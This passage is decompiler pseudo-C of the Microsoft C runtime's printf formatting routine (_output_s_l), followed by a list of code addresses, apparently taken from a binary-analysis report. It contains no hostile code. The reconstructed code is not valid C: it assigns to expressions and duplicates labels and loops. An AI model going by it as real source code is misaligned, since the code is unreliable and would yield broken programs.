														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															__eflags =  *(_t627 - 0x28);
															if( *(_t627 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													__eflags =  *(_t627 - 0x28);
													if( *(_t627 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t157 =  *(__ebp - 0x324) + 0x430cd8; // 0x55ff8b0d
											__ecx =  *_t157 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00430C9C))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L88:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L90;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													L81:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x288) = E0042BCB0(__ebp + 0x14);
													__eflags =  *(__ebp - 0x288);
													if( *(__ebp - 0x288) == 0) {
														L83:
														__edx =  *0x43eec8; // 0x4075b0
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E00420240( *(__ebp - 4));
														L87:
														goto L190;
													}
													L82:
													__ecx =  *(__ebp - 0x288);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														L84:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x288);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x288);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L87;
													}
													goto L83;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041D040(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E0041B2D0(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__ecx =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__edx = __ebp - 0x2a8;
															_push(__ebp - 0x2a8);
															__eax =  *0x43e478; // 0x72b0f098
															_push(__eax);
															__imp__DecodePointer();
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041B2D0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x43e484; // 0x58d0f098
																	_push(__eax);
																	__imp__DecodePointer();
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
															if( *((char*)(__ebp - 0x251)) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041B2D0(__ebp - 0x40));
																	__eax =  *(__ebp - 4);
																	_push(__eax);
																	__ecx =  *0x43e480; // 0x5930f098
																	_push(__ecx);
																	__imp__DecodePointer();
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__edx =  *(__ebp - 4);
															__eax =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__edx =  *(__ebp - 4);
																__edx =  *(__ebp - 4) + 1;
																__eflags = __edx;
																 *(__ebp - 4) = __edx;
															}
															__eax =  *(__ebp - 4);
															 *(__ebp - 0x24) = E00420240( *(__ebp - 4));
															do {
																L190:
																__eflags =  *(_t627 - 0x28);
																if( *(_t627 - 0x28) != 0) {
																	goto L216;
																}
																goto L191;
															} while ( *(__ebp - 0x324) > 0x37);
															goto L72;
														}
														L126:
														__ecx =  *((char*)(__ebp - 0x251));
														__eflags = __ecx - 0x67;
														if(__ecx != 0x67) {
															goto L128;
														}
														L127:
														 *(__ebp - 0x30) = 1;
														goto L130;
													}
													L124:
													 *(__ebp - 0x30) = 6;
													goto L130;
												case 6:
													L75:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														__ebp + 0x14 = E0042BCB0(__ebp + 0x14);
														 *(__ebp - 0x284) = __ax;
														__cl =  *(__ebp - 0x284);
														 *(__ebp - 0x248) = __cl;
														 *(__ebp - 0x24) = 1;
													} else {
														 *(__ebp - 0x280) = 0;
														__edx = __ebp + 0x14;
														__eax = E0042DB00(__ebp + 0x14);
														 *(__ebp - 0x258) = __ax;
														__eax =  *(__ebp - 0x258) & 0x0000ffff;
														__ecx = __ebp - 0x248;
														__edx = __ebp - 0x24;
														 *(__ebp - 0x280) = E00432820(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
														__eflags =  *(__ebp - 0x280);
														if( *(__ebp - 0x280) != 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													while(1) {
														L190:
														__eflags =  *(_t627 - 0x28);
														if( *(_t627 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
												case 7:
													L143:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 8:
													goto L0;
												case 9:
													L151:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L153;
												case 0xa:
													L145:
													 *(__ebp - 0x30) = 8;
													goto L146;
												case 0xb:
													L90:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x328) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x328) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x328);
													 *(__ebp - 0x290) =  *(__ebp - 0x328);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E0042BCB0(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														L101:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__edx =  *0x43eec8; // 0x4075b0
															 *(__ebp - 4) = __edx;
														}
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x28c) =  *(__ebp - 4);
														while(1) {
															L104:
															__ecx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L105:
															__eax =  *(__ebp - 0x28c);
															__ecx =  *( *(__ebp - 0x28c));
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L106:
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
														}
														L107:
														__eax =  *(__ebp - 0x28c);
														__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
														__eflags = __eax;
														 *(__ebp - 0x24) = __eax;
														goto L108;
													} else {
														L94:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x43eecc; // 0x4075a0
															 *(__ebp - 4) = __eax;
														}
														 *(__ebp - 0xc) = 1;
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x294) =  *(__ebp - 4);
														while(1) {
															L97:
															__edx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags =  *(__ebp - 0x290);
															if( *(__ebp - 0x290) == 0) {
																break;
															}
															L98:
															__ecx =  *(__ebp - 0x294);
															__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
															if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																break;
															}
															L99:
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
														}
														L100:
														 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
														__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
														 *(__ebp - 0x24) = __ecx;
														L108:
														while(1) {
															L190:
															__eflags =  *(_t627 - 0x28);
															if( *(_t627 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
												case 0xc:
													L144:
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 0xd:
													L147:
													 *(__ebp - 0x260) = 0x27;
													L148:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														 *((char*)(__ebp - 0x14)) = 0x30;
														 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
														__eflags =  *(__ebp - 0x260) + 0x51;
														 *((char*)(__ebp - 0x13)) = __al;
														 *(__ebp - 0x1c) = 2;
													}
													L153:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E0042BCB0(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E0042BCB0(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E0042BCB0(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																	 *(__ebp - 0x2b4) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E0042BCB0(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x2b8) = E0042BCD0(__ebp + 0x14);
															 *(__ebp - 0x2b4) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x2b8) = E0042BCD0(__ebp + 0x14);
														 *(__ebp - 0x2b4) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L170:
														__ecx =  *(__ebp - 0x2b8);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
														__edx =  *(__ebp - 0x2b4);
														 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
														goto L171;
													} else {
														L166:
														__eflags =  *(__ebp - 0x2b4);
														if(__eflags > 0) {
															goto L170;
														}
														L167:
														if(__eflags < 0) {
															L169:
															 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
															__edx =  *(__ebp - 0x2b4);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
															 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L171:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x2c0);
																	__eax =  *(__ebp - 0x2bc);
																	__eax =  *(__ebp - 0x2bc) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x2bc) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x49;
															 *(__ebp - 4) = __ebp - 0x49;
															while(1) {
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																L182:
																 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																	goto L186;
																}
																L183:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x2bc);
																__edx =  *(__ebp - 0x2c0);
																__eax = E00427060( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
																 *(__ebp - 0x2ac) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x2bc);
																__ecx =  *(__ebp - 0x2c0);
																 *(__ebp - 0x2c0) = E004270E0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
																 *(__ebp - 0x2bc) = __edx;
																__eflags =  *(__ebp - 0x2ac) - 0x39;
																if( *(__ebp - 0x2ac) > 0x39) {
																	__edx =  *(__ebp - 0x2ac);
																	__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
																	__eflags = __edx;
																	 *(__ebp - 0x2ac) = __edx;
																}
																__eax =  *(__ebp - 4);
																__cl =  *(__ebp - 0x2ac);
																 *( *(__ebp - 4)) = __cl;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																goto L182;
															}
														}
														L168:
														__eflags =  *(__ebp - 0x2b8);
														if( *(__ebp - 0x2b8) >= 0) {
															goto L170;
														}
														goto L169;
													}
												case 0xe:
													while(1) {
														L190:
														__eflags =  *(_t627 - 0x28);
														if( *(_t627 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
											}
										case 8:
											L30:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											goto L33;
										case 9:
											L31:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L33;
										case 0xa:
											L29:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xb:
											L28:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L33;
										case 0xc:
											L32:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __ecx;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xd:
											L33:
											goto L218;
									}
								} else {
									if(0 == 0) {
										 *(_t627 - 0x314) = 0;
									} else {
										 *(_t627 - 0x314) = 1;
									}
									_t574 =  *(_t627 - 0x314);
									 *(_t627 - 0x278) =  *(_t627 - 0x314);
									if( *(_t627 - 0x278) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t529 = L0041AAF0();
										_t630 = _t630 + 0x14;
										if(_t529 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t627 - 0x278) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L0041A7C0(_t574))) = 0x16;
										E00419D60(_t574, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t627 - 0x2f0) = 0xffffffff;
										E0041B2A0(_t627 - 0x40);
										_t502 =  *(_t627 - 0x2f0);
										goto L229;
									}
								}
							}
							L219:
							__eflags =  *(_t627 - 0x25c);
							if( *(_t627 - 0x25c) == 0) {
								L222:
								 *(_t627 - 0x334) = 1;
								L223:
								_t561 =  *(_t627 - 0x334);
								 *(_t627 - 0x2e0) =  *(_t627 - 0x334);
								__eflags =  *(_t627 - 0x2e0);
								if( *(_t627 - 0x2e0) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t507 = L0041AAF0();
									_t630 = _t630 + 0x14;
									__eflags = _t507 - 1;
									if(_t507 == 1) {
										asm("int3");
									}
								}
								__eflags =  *(_t627 - 0x2e0);
								if( *(_t627 - 0x2e0) != 0) {
									 *(_t627 - 0x300) =  *(_t627 - 0x24c);
									E0041B2A0(_t627 - 0x40);
									_t502 =  *(_t627 - 0x300);
								} else {
									 *((intOrPtr*)(L0041A7C0(_t561))) = 0x16;
									E00419D60(_t561, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t627 - 0x2fc) = 0xffffffff;
									E0041B2A0(_t627 - 0x40);
									_t502 =  *(_t627 - 0x2fc);
								}
								goto L229;
							}
							L220:
							__eflags =  *(_t627 - 0x25c) - 7;
							if( *(_t627 - 0x25c) == 7) {
								goto L222;
							}
							L221:
							 *(_t627 - 0x334) = 0;
							goto L223;
						}
					} else {
						L116:
						 *((intOrPtr*)(L0041A7C0(__ecx))) = 0x16;
						__eax = E00419D60(__ecx, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
						 *(__ebp - 0x2f8) = 0xffffffff;
						__ecx = __ebp - 0x40;
						__eax = E0041B2A0(__ecx);
						__eax =  *(__ebp - 0x2f8);
						L229:
						return E00422570(_t502, _t558,  *(_t627 - 0x48) ^ _t627, _t598, _t625, _t626);
					}
					L118:
					__eflags =  *(_t627 - 0x10) & 0x00000020;
					if(( *(_t627 - 0x10) & 0x00000020) == 0) {
						 *( *(_t627 - 0x298)) =  *(_t627 - 0x24c);
					} else {
						 *( *(_t627 - 0x298)) =  *(_t627 - 0x24c);
					}
					 *(_t627 - 0x28) = 1;
					goto L190;
				}
			}

0x00430387
0x00430387
0x00430387
0x00430387
0x00430387
0x00430387
0x0043038b
0x00430390
0x00430393
0x004303a0
0x00000000
0x00000000
0x004303a6
0x004303a6
0x004303a6
0x004303a8
0x004303b6
0x004303aa
0x004303aa
0x004303aa
0x004303c0
0x004303c6
0x004303cc
0x004303d3
0x004303d5
0x004303da
0x004303dc
0x004303e1
0x004303e6
0x004303e8
0x004303ed
0x004303f0
0x004303f3
0x004303f5
0x004303f5
0x004303f3
0x004303f6
0x004303fd
0x00430445
0x0043092c
0x0043092c
0x0043092c
0x00430930
0x00000000
0x00000000
0x00430936
0x00430939
0x0043093c
0x00430941
0x00430946
0x00430958
0x0043095b
0x0043096d
0x00430970
0x00430972
0x00430976
0x00430976
0x0043095d
0x0043095d
0x00430961
0x00430961
0x00430948
0x00430948
0x0043094c
0x0043094c
0x00430946
0x00430986
0x0043098f
0x00430992
0x004309a8
0x004309ad
0x004309ad
0x004309c3
0x004309c8
0x004309ce
0x004309d1
0x004309d6
0x004309d9
0x004309ef
0x004309f4
0x004309f4
0x004309d9
0x004309f7
0x004309fb
0x00430acf
0x00430ae2
0x00430ae7
0x00000000
0x00430a01
0x00430a01
0x00430a01
0x00430a05
0x00000000
0x00000000
0x00430a0b
0x00430a0b
0x00430a18
0x00430a21
0x00430a27
0x00430a27
0x00430a36
0x00430a3c
0x00430a3e
0x00000000
0x00000000
0x00430a44
0x00430a4d
0x00430a6c
0x00430a71
0x00430a74
0x00430a83
0x00430a89
0x00430a90
0x00430a9b
0x00430a9b
0x00000000
0x00430a9b
0x00430a92
0x00430a92
0x00430a99
0x00430aa7
0x00430ac0
0x00430ac5
0x00000000
0x00430ac5
0x00000000
0x00430a99
0x00430acd
0x00430aea
0x00430aea
0x00430af1
0x00430af6
0x00430af9
0x00430b0f
0x00430b14
0x00430b14
0x00430af9
0x00430af1
0x00430b17
0x00430b17
0x00430b1b
0x00430b23
0x00430b28
0x00430b2b
0x00430b2b
0x00430b32
0x00430b32
0x0042fc0f
0x0042fc15
0x0042fc22
0x0042fc27
0x00000000
0x0042fc3a
0x0042fc44
0x0042fc6b
0x0042fc52
0x0042fc63
0x0042fc63
0x0042fc44
0x0042fc75
0x0042fc7b
0x0042fc87
0x0042fc8a
0x0042fc98
0x0042fc9b
